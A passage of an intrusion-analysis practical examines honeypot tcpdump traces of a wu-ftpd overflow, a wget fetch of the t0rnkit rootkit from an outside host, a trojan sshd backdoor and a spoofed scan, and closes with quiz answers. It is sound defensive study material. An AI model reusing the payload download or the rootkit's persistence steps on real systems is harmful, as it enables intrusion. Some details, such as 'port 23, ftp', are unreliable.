0x0010     c2d4 080e 0015 041c 4a88 877b 973e d125
     ........J..{.>.%
0x0020     8018 7d78 72ba 0000 0101 080a 1587 271c
     ..}xr.........'.
0x0030     0119 44bf 436f 6e6e 6563 7469 6e67 2074
     ..D.Connecting.t
0x0040     6f20 3139 342e 3231 322e 342e 3138 3a38
     o.194.212.4.18:8
0x0050     302e 2e2e 20
     0....
```

******** edited for brevity ***********

```
17:46:30.724082 honey.net.2745 > 194.212.8.14.80: S [tcp
sum ok] 4249683264:4249683264(0) win 32120 <mss
1460,sackOK,timestamp 361846470 0,nop,wscale 0> (DF) (ttl
64, id 34332, len 60)
0x0000     4500 003c 861c 4000 4006 60bb 180d 70f5
     E..<..@.@.`...p.
0x0010     c2d4 080e 0ab9 0050 fd4d 0540 0000 0000
     .......P.M.@....
0x0020     a002 7d78 fcbb 0000 0204 05b4 0402 080a
     ..}x............
0x0030     1591 56c6 0000 0000 0103 0300
     ..V.........
17:46:31.028648 194.212.8.14.80 > honey.net.2745: S [tcp
sum ok] 1260824943:1260824943(0) ack 4249683265 win 32120
<mss 1460,sackOK,timestamp 19101048 361846470,nop,wscale 0>
(DF) (ttl 49, id 54633, len 60)
0x0000     4500 003c d569 4000 3106 206e c2d4 080e
     E..<.i@.1..n....
0x0010     180d 70f5 0050 0ab9 4b26 a96f fd4d 0541
     ..p..P..K&.o.M.A
0x0020     a012 7d78 9179 0000 0204 05b4 0402 080a
     ..}x.y..........
0x0030     0123 7578 1591 56c6 0103 0300
     .#ux..V.....
17:46:31.028753 honey.net.2745 > 194.212.8.14.80: . [tcp
sum ok] ack 1 win 32120 <nop,nop,timestamp 361846500
19101048> (DF) (ttl 64, id 34333, len 52)
0x0000     4500 0034 861d 4000 4006 60c2 180d 70f5
     E..4..@.@.`...p.
0x0010     c2d4 080e 0ab9 0050 fd4d 0541 4b26 a970
     .......P.M.AK&.p
0x0020     8010 7d78 c020 0000 0101 080a 1591 56e4
     ..}x..........V.
0x0030     0123 7578                                .#ux
17:46:31.029354 honey.net.2745 > 194.212.8.14.80: P [tcp
sum ok] 1:84(83) ack 1 win 32120 <nop,nop,timestamp
361846500 19101048> (DF) (ttl 64, id 34334, len 135)
0x0000     4500 0087 861e 4000 4006 606e 180d 70f5
     E.....@.@.`n..p.
0x0010     c2d4 080e 0ab9 0050 fd4d 0541 4b26 a970
     .......P.M.AK&.p
0x0020     8018 7d78 646b 0000 0101 080a 1591 56e4
     ..}xdk........V.
0x0030     0123 7578 4745 5420 2f6d 2e74 677a 2048
     .#uxGET./m.tgz.H
```

```
0x0040     5454 502f 312e 300d 0a55 7365 722d 4167
     TTP/1.0..User-Ag
0x0050     656e 743a 2057 6765 742f 312e 352e 330d
     ent:.Wget/1.5.3.
0x0060     0a48 6f73 743a 2031 3934 2e32 3132 2e38
     .Host:.194.212.8
0x0070     2e31 343a 3830 0d0a 4163 6365 7074 3a20
     .14:80..Accept:.
0x0080     2a2f 2a0d 0a0d 0a
     */*....
```

******** edited for brevity ***********

```
17:46:37.414845 honey.net.2745 > 194.212.8.14.80: F [tcp
sum ok] 84:84(0) ack 49375 win 31856 <nop,nop,timestamp
361847139 19101519> (DF) (ttl 64, id 34361, len 52)
0x0000     4500 0034 8639 4000 4006 60a6 180d 70f5
     E..4.9@.@.`...p.
0x0010     c2d4 080e 0ab9 0050 fd4d 0594 4b27 6a4e
     .......P.M..K'jN
0x0020     8011 7c70 fb9f 0000 0101 080a 1591 5963
     ..|p..........Yc
0x0030     0123 774f                                .#wO
```

1. Source of Trace.

A friend allowed me to analyze the tcpdump traces from his network since I don't have a DSL connection as he does. I will refer to his network as honey.net.

2. Detect was generated by:

Tcpdump 3.6

3. Probability the source address was spoofed:

In the case of this buffer overflow attack to honey.net's ftp server, the address could not have been spoofed for the attack to work. Therefore, the address was not spoofed for this detect, since the attack worked as well as it did.

Source address whois information:

```
Server used for this query: [whois.ripe.net]


            % Rights restricted by copyright. See
http://www.ripe.net/ripencc/pub-services/db/copyright.html

            inetnum:     194.212.8.0 - 194.212.8.95
            netname:     CESNET-KLATOVY
            descr:       CESNET z.s.p.o.
            descr:       Klatovy
            country:     CZ
            admin-c:     MK1580-RIPE
            tech-c:      MK1580-RIPE
            status:      ASSIGNED PA
            mnt-by:      CES-IP-MNT
            changed:     tkpv@cesnet.cz 19980923
            source:      RIPE

            route:       194.212.0.0/16
            descr:       CESNET-A
            origin:      AS1902
            mnt-by:      AS1902-MNT
            changed:     novakv@cesnet.cz 20000210
            source:      RIPE

            person:      Michal Kadlec
            address:     Disk obchod a technika, k. s.
            address:     Lochotinska 45
            address:     Plzen
            address:     300 00
            address:     The Czech Republic
            phone:       +420 19 220339
            fax-no:      +420 19 220339
            e-mail:      Kadlec@diskobol.cz
            nic-hdl:     MK1580-RIPE
            notify:      notify@ctt.cz
            changed:     tkpv@cesnet.cz 2000043

      source:      RIPE
```

4. Description of attack:

This is an attack against TCP port 23, ftp, this is a buffer overflow. The specific tool in this case is the wu-ftp buffer overflow. The intruder logs onto the ftp server with an ftp or anonymous login. A large amount of data is then

sent to the ftp server to overflow the input buffer as described below. The intruder can then run arbitrary commands with the permissions of the owner of the ftp daemon. If given the correct commands, as described below, the intruder can then interact with the machine as if they were connected via a standard "telnet" like session.

The attack is generically described in CVE-1999-0955, however the candidate CVE CAN-2000-0573 appears to be a better match. CERT Advisory CS-2000-13, as well as AUSCERT Advisory AA-2000.02, more fully describes the attack mechanism and also provides solutions for defending against the attack itself.

5. Attack mechanism:

The attack works by completing a standard three-way handshake on port 21 with the ftp daemon. The intruder then gains initial access to the ftp server via a login in this case, ftp anonymous login, a bad thing to have on a firewall by-the-way. The intruder then uses the "site exec" command to send a specially crafted set of data, which is padded with a large number of "nop" instructions to the ftp server's input buffer. When the buffer size is exceeded, the machine then processes the intruder's payload, the arbitrary commands the intruder wants to run, with the same permissions as the owner of the ftp server. In this case, the root process was running the ftp server. Therefore, the intruder's /bin/sh was run as root, giving the intruder an interactive root owned shell as demonstrated by the intruder's use of the "id" command. This effectively means the intruder can do anything on this machine they want.

The intruder then uses his root access to add two usernames, "soxy" and "me" to the password and password shadow files. The password file gives the intruder a normal username to access the victim's machine, while the shadow file would hold the actual passwords for these usernames since the intruder put an "x" in the password field of the password file. The intruder then closes the ftp connection.

Sometime later someone, probably the initial intruder, tries to gain access via telnet, port 23, to the machine. This was probably to try the usernames and passwords that were added to the machine in the ftp buffer overflow. However, the telnet port is closed on this machine and the access is denied (reset). Can't make hacking the honey pot too easy.

The original intruder, or at least the same machine, then returns, executes the wu-ftp buffer overflow again to gain access, since the telnet didn't work, and changes to the "/usr/local/bin" directory. This directory is a common place for UNIX or linux executables and is usually fairly large so another command or two could easily be hidden here. The intruder then cleverly tries to download a file called "m.tgz" using the "lynx" command. "lynx" is a text based web browser that has been around for many years. When executed with the "-source" option and redirected to a local filename, a file can be downloaded via port 80 instead of ftp, port 20 and 21. This was clever since port 80 is usually web-based traffic and is a very busy port, and traffic can be easily hidden in the normal traffic. Every "object" on a web page makes a new connection via this port. However, the download did not work on this machine, since lynx was not installed. Once the intruder figured this out, they tried their equally as clever second option. The intruder then tried the same thing using the "wget" command. "wget" is a web based file download utility. It performs the same function as "lynx –source" does as described above. Unfortunately for the dyslexic intruder, they typed the wrong ip address, 194.212.4.18 instead of 194.212.8.14. The intruder sat there with the "wget" process hung, trying syns to the wrong address for over two hours, until the system owner killed the process for him. The system owner, inquisitive about what the intruder would do next, issued the correct "wget" command for the intruder. This time it worked. The file was downloaded.

It was discovered during download that the "m.tgz" file actually contained the "t0rnkit", a linux based root kit. The intruder came back on another day, not shown here, via the same ftp

buffer overflow, unzipped, untared the "m.tgz" file and installed the "t0rnkit" on the machine. The "t0rnkit" installed numerous trojanized system files and reconfigured the system to enable a "secure shell" at port 9876 (described in Detect #2).

6. Correlations:

This particular detect has never been seen before. However, buffer overflows against WU-FTP are well known, the earliest messages I could find were from Christopher Klaus talking about wu-ftp vulnerabilities to Bugtraq on April 12, 1994. Previous reports on this particular wu-ftp vulnerability include:

CVE-1999-0955
http://cve.mitre.org/cgi-bin/cvename.cgi?name=1999.0955

CVE CAN-2000-0573 (contains many references which I will not reproduce here)
http://cve.mitre.org/cgi-bni/cvename.cgi?name=CAN-2000-0573

CERT Advisory CS-2000-13
http://www.cert.org/advisories/CA-2000-13.html

AUSCERT Advisory AA-2000.02
ftp://ftp.auscert.org.au/pub/auscert/advisory/AA-2000.02

Bugtraq id: 1387 in.ftpd (exec); Input Validation Error
http://www.securityfocus.com/vdb/bottom.html?section=discussion&vid=1387

7. Evidence of active targeting:

This was definitely active targeting. The intruder had previously found the ftp port open. This site gets hit with a LOT of scans (see below for a few interesting ones), and the site was probably marked as a target during one of these scans. There are too many scans to determine which specific one belongs to this intruder.

8. Severity:

This machine is the firewall, a critical component of the network, so I will mark the criticality of the target as a 5.

The intruder gained root access to this firewall remotely using this attack, so I will mark the lethality of the attack also as a 5.

The machine is an older machine running a fairly recent version of linux with tcpdump running several ways in order to save output files and display alerts, however not all patches have been applied and anonymous ftp was allowed, so we will mark the system countermeasures as a 3.

This machine is the firewall, with several other machines residing behind it. The firewall gets hit a lot and has very few open ports, ftp being an oversite of a new OS load, but the machines behind this firewall have yet to be attacked. Therefore, I give the network countermeasures of this machine a 2, but if I had to give the machines behind this firewall a rating, I would give them a 4.

Therefore the severity of this attack is:

(Criticality + Lethality) – (System + Network Countermeasures) = Severity

(5 + 5) – (3 + 2) = 5

I would in this case consider this attack severe and would deploy the Incident Handling team. In this case, it was a team of one, the system owner, watching and helping the attack unfold. The system owner uses this machine as a sort of honey pot.

9. Defensive recommendation:

Since this machine is a firewall and protects several other machines, I suggested that all unused or unwanted ports be turned off. In addition, I suggested that TripWire and TcpWrappers be installed. I also suggested that he only connect to this firewall via a secure shell connection, even from inside his perimeter,

just in case someone did find a way in. I also suggested that he continue to run a network monitor or IDS on this machine and that he also run another inside the perimeter, again just in case someone did manage to breach his perimeter defenses.

10. Multiple choice test question:

How was it determined that the ftp buffer overflow actually worked?

a) Syn / Ack was established on port 21
b) the "id" command was seen being pushed to the victim, and the results were seen being pushed back
c) the 0bin0sh was seen being pushed to the victim machine
d) the "nop" characters .f%. were seen being pushed to the victim machine

Answer: (b) The only way to tell is to have the intruder interact with the machine.

(a) No, this just establishes the ftp session, not the buffer overflow.

(c) No, this just sends the command /bin/sh to the victim, it still may not be accepted.

(d) No, the "nop" characters are just the part of the payload that causes the buffer overflow, it still may not work.

Detect #2 Secure Shell Backdoor (port 9876)

(Note: Underlined and highlighted text below marks important text.)

02-22-2001.tcpdump

```
19:50:05.969955 30.248.4.200.62923 > honey.net.9876: S [tcp
sum ok] 490104332:490104332(0) win 65535 (ttl 13, id 19607,
len 40)
19:50:05.970005 honey.net.9876 > 30.248.4.200.62923: R [tcp
sum ok] 0:0(0) ack 490104333 win 0 (ttl 255, id 55636, len
40)
19:50:25.171621 204.120.43.143.30565 > honey.net.9876: S
[tcp sum ok] 1008766239:1008766239(0) win 65535 (ttl 13, id
59374, len 40)
19:50:25.171670 honey.net.9876 > 204.120.43.143.30565: R
[tcp sum ok] 0:0(0) ack 1008766240 win 0 (ttl 255, id
61001, len 40)
19:50:36.167308 9.184.194.22.57268 > honey.net.9876: S [tcp
sum ok] 2133949511:2133949511(0) win 65535 (ttl 13, id
16781, len 40)
19:50:36.167353 honey.net.9876 > 9.184.194.22.57268: R [tcp
sum ok] 0:0(0) ack 2133949512 win 0 (ttl 255, id 64051, len
40)
19:52:06.510920 202.248.250.254.40303 > honey.net.9876: S
[tcp sum ok] 623034106:623034106(0) win 65535 (ttl 13, id
8301, len 40)
19:52:06.510969 honey.net.9876 > 202.248.250.254.40303: R
[tcp sum ok] 0:0(0) ack 623034107 win 0 (ttl 255, id 23132,
len 40)
20:00:41.017976 205.179.187.149.33965 > honey.net.9876: S
[tcp sum ok] 2034557266:2034557266(0) win 65535 (ttl 16, id
36784, len 40)
20:00:41.017996 honey.net.9876 > 205.179.187.149.33965: R
[tcp sum ok] 0:0(0) ack 2034557267 win 0 (ttl 255, id
45737, len 40)

****** Edited for brevity ******

20:09:16.812086 205.179.187.149.34117 > honey.net.9876: S
[tcp sum ok] 19429578:19429578(0) win 65535 (ttl 16, id
53856, len 40)
20:09:16.812106 honey.net.9876 > 205.179.187.149.34117: R
[tcp sum ok] 0:0(0) ack 19429579 win 0 (ttl 255, id 30118,
len 40)
```

20:13:16.595600 146.170.219.232.9876 > honey.net.453: **S** [tcp sum ok] 1589791766:1589791766(0) win 65535 (ttl 18, id 55672, len 40)
20:13:16.595652 honey.net.453 > 146.170.219.232.9876: **R** [tcp sum ok] 0:0(0) **ack** 1589791767 win 0 (ttl 255, id 36097, len 40)
20:13:28.204634 89.3.43.139.9876 > honey.net.165: **S** [tcp sum ok] 1979768502:1979768502(0) win 65535 (ttl 17, id 58560, len 40)
20:13:28.245052 honey.net.165 > 89.3.43.139.9876: **R** [tcp sum ok] 0:0(0) **ack** 1979768503 win 0 (ttl 255, id 2365, len 40)
20:13:53.805057 89.3.43.139.9876 > honey.net.165: **S** [tcp sum ok] 1979768502:1979768502(0) win 65535 (ttl 18, id 58560, len 40)
20:13:53.821004 honey.net.165 > 89.3.43.139.9876: **R** [tcp sum ok] 0:0(0) **ack** 1 win 0 (ttl 255, id 20725, len 40)

03-01-2001.tcpdump
18:45:56.939348 145.193.224.20.9876 > honey.net.6899: **S** [tcp sum ok] 842310136:842310136(0) win 65535 (ttl 15, id 775, len 40)
18:45:56.961873 honey.net.6899 > 145.193.224.20.9876: **R** [tcp sum ok] 0:0(0) ack 842310137 win 0 (ttl 255, id 61433, len 40)

****** **Edited for brevity** ******

18:46:58.193525 159.105.8.147.9876 > honey.net.6965: **S** [tcp sum ok] 44545724:44545724(0) win 65535 (ttl 14, id 48404, len 40)
18:46:58.225245 honey.net.6965 > 159.105.8.147.9876: **R** [tcp sum ok] 0:0(0) **ack** 44545725 win 0 (ttl 255, id 46020, len 40)

03-02-2001.tcpdump
16:35:13.330383 116.120.63.35.1565 > honey.net.9876: **S** [tcp sum ok] 330632259:330632259(0) win 65535 (ttl 18, id 56642, len 40)
16:35:13.475133 honey.net.9876 > 116.120.63.35.1565: **S** [tcp sum ok] 3734995256:3734995256(0) **ack** 330632260 win 32696 <mss 536> (DF) (ttl 64, id 3882, len 44)

****** **Edited for brevity** ******

```
16:37:15.897274 11.56.243.167.38826 > honey.net.9876: S
[tcp sum ok] 2107407212:2107407212(0) win 65535 (ttl 18, id
42510, len 40)
16:37:18.993446 honey.net.9876 > 11.56.243.167.38826: S
[tcp sum ok] 3849097268:3849097268(0) ack 2107407213 win
32696 <mss 536> (DF) (ttl 64, id 41475, len 44)

****** Edited for brevity ******

16:50:05.773307 193.231.96.73.4331 > honey.net.9876: S [tcp
sum ok] 1365694445:1365694445(0) win 16384 <mss
1460,nop,nop,sackOK> (DF) (ttl 103, id 34873, len 48)
16:50:05.773590 honey.net.9876 > 193.231.96.73.4331: S [tcp
sum ok] 391308637:391308637(0) ack 1365694446 win 32120
<mss 1460,nop,nop,sackOK> (DF) (ttl 64, id 49072, len 48)
16:50:05.966694 193.231.96.73.4331 > honey.net.9876: . [tcp
sum ok] ack 1 win 17520 (DF) (ttl 103, id 34874, len 40)
16:50:06.908324 honey.net.9876 > 193.231.96.73.4331: P [tcp
sum ok] 1:16(15) ack 1 win 32120 (DF) [tos 0x10]  (ttl 64,
id 49076, len 55)
0x0000     4510 0037 bfb4 4000 4006 cfc9 180d 70f5
     E..7..@.@.....p.
0x0010     c1e7 6049 2694 10eb 1752 e55e 5166 d7ee
     ..`I&....R.^Qf..
0x0020     5018 7d78 881d 0000 5353 482d 312e 352d
     P.}x....SSH-1.5-
0x0030     312e 322e 3237 0a
     1.2.27.
16:50:07.076348 193.231.96.73.4331 > honey.net.9876: P [tcp
sum ok] 1:15(14) ack 16 win 17505 (DF) (ttl 103, id 34875,
len 54)
16:50:07.076460 honey.net.9876 > 193.231.96.73.4331: . [tcp
sum ok] ack 15 win 32120 (DF) [tos 0x10] (ttl 64, id 49077,
len 40)

****** Edited for brevity ******

16:55:06.713415 honey.net.9876 > 193.231.96.73.4331: P [tcp
sum ok] 0:1016(1016) ack 1 win 32120 (DF) [tos 0x10]  (ttl
64, id 49422, len 1056)
16:55:06.908328 193.231.96.73.4331 > honey.net.9876: R [tcp
sum ok] 1365699944:1365699944(0) win 0 (ttl 103, id 35439,
len 40)
17:19:20.276755 honey.net.3444 > 193.231.96.73.9876: S [tcp
sum ok] 2230982870:2230982870(0) win 32120 <mss
1460,sackOK,timestamp 14353524 0,nop,wscale 0> (DF) (ttl
64, id 55963, len 60)
```

17:19:20.520169 193.231.96.73.9876 > honey.net.3444: **R** [tcp sum ok] 0:0(0) **ack** 2230982871 win 0 (ttl 103, id 51068, len 40)

****** **Edited for brevity** ******

20:03:05.263246 116.79.148.0.9876 > honey.net.44816: **S** [tcp sum ok] 698762575:698762575(0) win 65535 (ttl 18, id 6532, len 40)
20:03:05.301763 honey.net.44816 > 116.79.148.0.9876: **R** [tcp sum ok] 0:0(0) **ack** 698762576 win 0 (ttl 255, id 54433, len 40)

1. Source of Trace.

A friend allowed me to analyze the tcpdump traces from his network since I don't have a DSL connection as he does. I will refer to his network as honey.net.

2. Detect was generated by:

Tcpdump 3.6

3. Probability the source address was spoofed:

The port scans to port 9876 as shown in this detect were only a small part of larger port scans that scanned from port 0 to port 65534. This detect will not go into these scans in detail, but as you will see in Detect #3, these IPs were probably spoofed. All the ttls are the same, even though the hosts are from all over the world, and the IP ids were sequential. They are probably part of an nmap decoy scan, where one machine is real and the others spoofed, or a denial or service attempt, more on this later.

More importantly, to this detect, are the connections starting at 16:50:05.773307. The IP in these connections cannot be spoofed or the secure shell connection would not have worked.

Source address whois information for the secure shell connections:

```
Server used for this query: [ whois.ripe.net ]


            % Rights restricted by copyright. See
http://www.ripe.net/ripencc/pub-services/db/copyright.html

            inetnum:     193.231.96.0 - 193.231.96.255
            netname:     CANAD-NET-07
            descr:       CANAD Systems Network
            descr:       Bucharest Romania
            country:     RO
            admin-c:     LL426-RIPE
            tech-c:      HN198-RIPE
            status:      ASSIGNED PA
            remarks:     object maintained by ro.rnc local
registry
            notify:      domain-admin@rnc.ro
            mnt-by:      AS3233-MNT
            changed:     danacorb@sunu.rnc.ro 19980519
            changed:     estaicut@rnc.ro 19981123
            changed:     cristih@rnc.ro 20010215
            source:      RIPE

            route:       193.231.96.0/24
            descr:       CANAD-NET8
            origin:      AS8919
            notify:      adrian.samareanu@thepentagon.com
            mnt-by:      AS8919-MNT
            changed:     adrian.samareanu@thepentagon.com
19991112
            source:      RIPE

            route:       193.231.96.0/24
            descr:       CANAD-DATA-NET
            origin:      AS16030
            notify:      lory@brasovia.ro
            mnt-by:      CANAD-MNT
            changed:     lory@brasovia.ro 20001205
            source:      RIPE

            person:      Lucian Lacusta
            address:     Canad Systems Impex SRL
            address:     Bd. Burebista nr. 4, Bl.D13
            address:     Ap 106-107 Sector 3
            address:     Bucharest - Romania
            phone:       +40-1-3236888
```

```
            fax-no:      +40-1-3223760
            e-mail:      lucian@canad.ro
            nic-hdl:     LL426-RIPE
            remarks:     object maintained by ro.rnc local
registry
            notify:      domain-admin@roearn.ici.ro
            mnt-by:      AS3233-MNT
            changed:     danacorb@sunu.rnc.ro 19980211
            source:      RIPE

            person:      Horia Nistor
            address:     Canad Systems Impex SRL
            address:     Bd. Burebista nr. 4, Bl.D13
            address:     Ap 106-107 Sector 3
            address:     Bucharest - Romania
            phone:       +40-1-3236888
            fax-no:      +40-1-3223760
            e-mail:      horia@canad.ro
            nic-hdl:     HN198-RIPE
            remarks:     object maintained by ro.rnc local
registry
            notify:      domain-admin@roearn.ici.ro
            mnt-by:      AS3233-MNT
            changed:     danacorb@sunu.rnc.ro 19980211
            source:      RIPE
```

4. Description of attack:

This is a detect that illustrates a backdoor program leftover from the previous Detect #1 and activated probably during the denial of service described in Detect #3. When the "t0rnkit" was loaded from Detect #1 a binary, "/usr/sbin/ncsd", was installed on the system. This program is a trojan horse version of the "sshd" configured to listen on an intruder-supplied port, in this case 9876, with the intruder-supplied SSH keys stored in a directory named "/usr/info/.t0rn". The command to start this trojan was appended to the "/etc/rc.d/rc.sysinit" file, which allowed the daemon to start at system boot time. The denial of service described in Detect #3 caused the system to shutdown and reboot, which probably allowed this backdoor to start.

5. Attack mechanism:

Several days before, on 02-22-2001, an intruder gained access to this machine via a wu-ftp vulnerability as described by Detect #1. During this attack a "t0rnkit" was installed on the system. "t0rn kit" is a linux-based rootkit, which has multiple different versions in-the-wild. Several versions of "t0rnkit" have an installation script which attempted the following:

- Kills syslogd
- Searches syslog configuration file for the '@' character, used to alert the intruder to remote logging
- Stores the intruder's password or the trojan ssh in /etc/ttyhash
- Installs the trojan version of sshd on an intruder supplied port number
- Appends the trojan sshd start-up command to /etc/rc.d/rc.sysinit, which starts the trojan sshd at the next system boot
- Installs trojan program configuration files in /usr/src/.puta, these are used to hide file names, process names, etc…
- Replaces the following system binaries with trojan copies
  - /bin/login
  - /sbin/ifconfig, attempting to enable telnet, shell and finger
  - /bin/ps
  - /usr/bin/du
  - /bin/ls
  - /bin/netstat
  - /usr/sbin/in.fingerd
  - /usr/bin/find
  - /usr/bin/top
- Installs a password sniffer, sniffer logfile parser, and a system logfile cleaning tool to /usr/src/.puta
- Alerts the intruder about the word 'ALL" appearing in the /etc/hosts.deny
- Restarts /usr/sbin/inetd
- Starts syslogd

This matches the forensic data that was found on the machine. More important to this

detect is the fact that the trojan sshd was left on the system and was allowed to start an ssh daemon listening to port 9876. It is interesting to note that the install of the "t0rnkit" on 02-22-2001 did not start this program. This is evident by analyzing the 9876 connection attempts of the scan that happened on this same date after the "t0rnkit" was installed. The honey.net system responds to the syns with a reset/ack indicating that the port is closed. One could tell by analysis, the port is still closed on 03-01-2001. The honey.net system is still responding to syns on port 9876 with a reset/ack. However, at 16:37:15.897274 after the massive denial of service attack described in Detect #3 that caused the system to reboot, the honey.net system responds to syns on port 9876 with a syn/ack, indicating that port 9876 is open and accepting connections. Sure enough at 16:50:05.773307 a connection is made to port 9876, and the intruder authenticates to the ssh daemon running there, as highlighted in the trace above. The connection was open and active for about five minutes. "sshd" connections are encrypted, therefore it was impossible to tell from the tcpdump traces what the intruder did. Forensic work after the connection revealed that the intruder only installed an IRC bot, eggdrop, on the system. This in itself was really annoying since this IRC bot connects to an IRC channel and records everything that happens. As such, this is a very bandwidth intensive program as well as using up large disk space. The intruder's programs were terminated at this point, and the system was cleaned.

The last pair of packets show that the system administrator found and closed the port 9876 secure shell backdoor sometime between 17:19:20 and 20:03:05.

6. Correlations:

This particular detect has never been seen before. However, the "t0rnkit" rootkit has been seen in active use since May of 2000. There have been at least six different versions of "t0rnkit" seen in-the-wild, and there is strong evidence

that "t0rnkit" is still undergoing active development. More detailed descriptions of "tornkit" can be found at:

CERT® Incident Note IN-2000-10
http://www.cert.org/incident notes/IN-2000-10.html

GIAC – Special Notice, Analysis of the Torn rootkit
http://www.sans.org/y2k/torn.htm

Secure Shell information
http://www.ssh.com/products/ssh

7. Evidence of active targeting:

The portions of this detect that dealt with scans were just general scans of the network and were probably not targeted at the honey.net machine.

The denial of service which caused the reboot were probably directed at the honey.net host, see description in Detect #3.

The use of the backdoor ssh on port 9876 was definitely active targeting. The intruder knew the backdoor was listening to port 9876 and knew how to authenticate with the server.

8. Severity:

This machine is the firewall, a critical component of the network, so I will mark the criticality of the target as a 5.

The intruder gained root access to this firewall remotely using an encrypted connection to a backdoor port, so I will mark the lethality of the attack also as a 5.

The machine is an older machine running a fairly recent version of linux with tcpdump running several ways in order to save output files and display alerts, however not all patches have been applied and "t0rnkit" was not fully cleaned from the system, so we will mark the system countermeasures as a 2.

This machine is the firewall, with several other machines residing behind it. The firewall

gets hit a lot and has very few open ports. This backdoor on port 9876 was left on purpose to see what the intruder would do. Even so the machines behind this firewall have yet to be attacked, so I give the network countermeasures of this machine a 2, but if I had to give the machines behind this firewall a rating I would give them a 4.

Therefore, the severity of this attack is:

(Criticality + Lethality) – (System + Network Countermeasures) = Severity

(5 + 5) – (2 + 2) = 6

I would in this case consider this attack severe and would deploy the Incident Handling team. In this case, it was a team of one, the system owner, watching the attack unfold and reacting to the intruder. The system owner uses this machine as a sort of honey pot.

9. Defensive recommendation:

Since this machine is a firewall and protects several other machines, I suggested that all unused or unwanted ports be turned off. This would decrease the vulnerabilities the machine presents. In addition, I suggested that TripWire and TcpWrappers be installed. This would detect when the "t0rnkit" changed the linux configuration files. I also suggested that he only connect to this firewall via a secure shell connection, even from inside his perimeter, just in case someone did find a way in and set up a sniffer such as "t0rnkit" has. Using secure shell would mean that the passwords could not be sniffed off the network. I also suggested that he continue to run a network monitor or IDS on this machine and that he also run another inside the perimeter, again just in case someone did manage to breach his perimeter defenses. The IDS systems may later provide alerts or clues in case that will help determine the scope of an intrusion.

10. Multiple choice test question:

From the network trace shown above, how was the approximate timeframe of the opening of port 9876 on the honey.net machine determined?

a) replies of syn packets to port 9876, changed from fin/acks to reset/acks
b) replies of fin pckets to port 9876, changed from syn/acks to reset/acks
c) replies of syn packets to port 9876, changed from reset/acks to syn/acks
d) replies of reset packets to port 9876, changed from fin/acks to syn/acks

Answer: (c) The reset/ack packets indicate the port was closed and then the change to syn/ack packets indicate the port is now open. Sometime between these two times a process was started that listens on port 9876, effectively opening the port.

(a) No, fin/ack packets are usually only sent to gracefully tear down an established connection and reset/acks would indicate the port is now closed.

(b) No, a fin packet should either be replied to with a fin/ack packet, if a session is already established, or dropped if not. Anyway a change from syn/acks to reset/acks would indicate the port was closed sometime in between, not opened.

(d) No, a reset packet should stop a connection on that port and should get no replies.

Detect #3 Scan or Denial of Service? (multiple ports)

(Note: Underlined and highlighted text below marks important text.)

05:01:59.254773 **32.148.161.149**.43811 > honey.net.**0**: **S** [**bad tcp cksum b9b4!**] 1139058830:1139058850(20) win 65535 (DF) (ttl **23**, id **17323**, len 40)
05:01:59.254915 **121.3.106.217**.48475 > honey.net.**1**: **S** [**bad tcp cksum 114a!**] 1404058455:1404058475(20) win 65535 (DF) (ttl **23**, id **17324**, len 40)
05:01:59.254990 **60.132.26.67**.29609 > honey.net.**2**: **S** [**bad tcp cksum 3e!**] 1569752192:1569752212(20) win 65535 (DF) (ttl **23**, id **17325**, len 40)
05:01:59.255088 **63.223.65.31**.61138 > honey.net.**3**: **S** [**bad tcp cksum 6f00!**] 1995456544:1995456564(20) win 65535 (DF) (ttl **23**, id **17326**, len 40)
05:01:59.255235 **93.68.38.0**.62418 > honey.net.**4**: **S** [**bad tcp cksum 3e31!**] 1135186724:1135186744(20) win 65535 (DF) (ttl **23**, id **17327**, len 40)
05:01:59.255448 **58.25.109.169**.64195 > honey.net.**5**: **S** [**bad tcp cksum 3653!**] 291282646:291282666(20) win 65535 (DF) (ttl **23**, id **17328**, len 40)
05:01:59.255555 127.13.250.148.18333 > honey.net.6: S [bad tcp cksum 1e80!] 842966456:842966476(20) win 65535 (DF) (ttl 23, id 17329, len 40)
05:01:59.255772 116.105.171.237.52800 > honey.net.7: S [bad tcp cksum 4255!] 989555016:989555036(20) win 65535 (DF) (ttl 23, id 17330, len 40)
05:01:59.255910 81.216.163.198.51499 > honey.net.8: S [bad tcp cksum 2645!] 1945180015:1945180035(20) win 65535 (DF) (ttl 23, id 17331, len 40)
05:01:59.256070 50.255.245.2.47439 > honey.net.9: S [bad tcp cksum 4dd9!] 1615258580:1615258600(20) win 65535 (DF) (ttl 23, id 17332, len 40)
05:01:59.256170 116.42.169.125.21360 > honey.net.10: S [bad tcp cksum e90d!] 62692688:62692708(20) win 65535 (DF) (ttl 23, id 17333, len 40)
05:01:59.256319 45.85.107.191.1338 > honey.net.11: S [bad tcp cksum 6b96!] 515270275:515270295(20) win 65535 (DF) (ttl 23, id 17334, len 40)
05:01:59.256396 49.131.3.165.59963 > honey.net.12: S [bad tcp cksum 9c05!] 1491028803:1491028823(20) win 65535 (DF) (ttl 23, id 17335, len 40)

```
05:01:59.256549 118.249.211.53.5984 > honey.net.13: S [bad
tcp cksum 9483!] 1068343669:1068343689(20) win 65535 (DF)
(ttl 23, id 17336, len 40)
05:01:59.256654 122.55.99.73.58372 > honey.net.14: S [bad
tcp cksum 33e1!] 1463495796:1463495816(20) win 65535 (DF)
(ttl 23, id 17337, len 40)
05:01:59.256751 84.211.236.15.46394 > honey.net.15: S [bad
tcp cksum 4824!] 658416990:658417010(20) win 65535 (DF)
(ttl 23, id 17338, len 40)
05:01:59.256871 100.8.77.233.3872 > honey.net.16: S [bad
tcp cksum f3e4!] 906535258:906535278(20) win 65535 (DF)
(ttl 23, id 17339, len 40)
05:01:59.256979 41.65.172.24.63269 > honey.net.17: S [bad
tcp cksum a08f!] 186691922:186691942(20) win 65535 (DF)
(ttl 23, id 17340, len 40)
05:01:59.257141 44.46.160.245.54452 > honey.net.18: S [bad
tcp cksum 4c92!] 760384304:760384324(20) win 65535 (DF)
(ttl 23, id 17341, len 40)
05:01:59.257283 111.219.219.131.63339 > honey.net.19: S
[bad tcp cksum ed9f!] 1797321444:1797321464(20) win 65535
(DF) (ttl 23, id 17342, len 40)
05:01:59.257495 107.16.87.227.17686 > honey.net.20: S [bad
tcp cksum 2b86!] 1792293863:1792293883(20) win 65535 (DF)
(ttl 23, id 17343, len 40)
05:01:59.257647 122.247.161.194.42008 > honey.net.21: S
[bad tcp cksum d0dc!] 876566268:876566288(20) win 65535
(DF) (ttl 23, id 17344, len 40)
05:01:59.257806 49.80.169.100.7217 > honey.net.22: S [bad
tcp cksum dfb5!] 1499314308:1499314328(20) win 65535 (DF)
(ttl 23, id 17345, len 40)
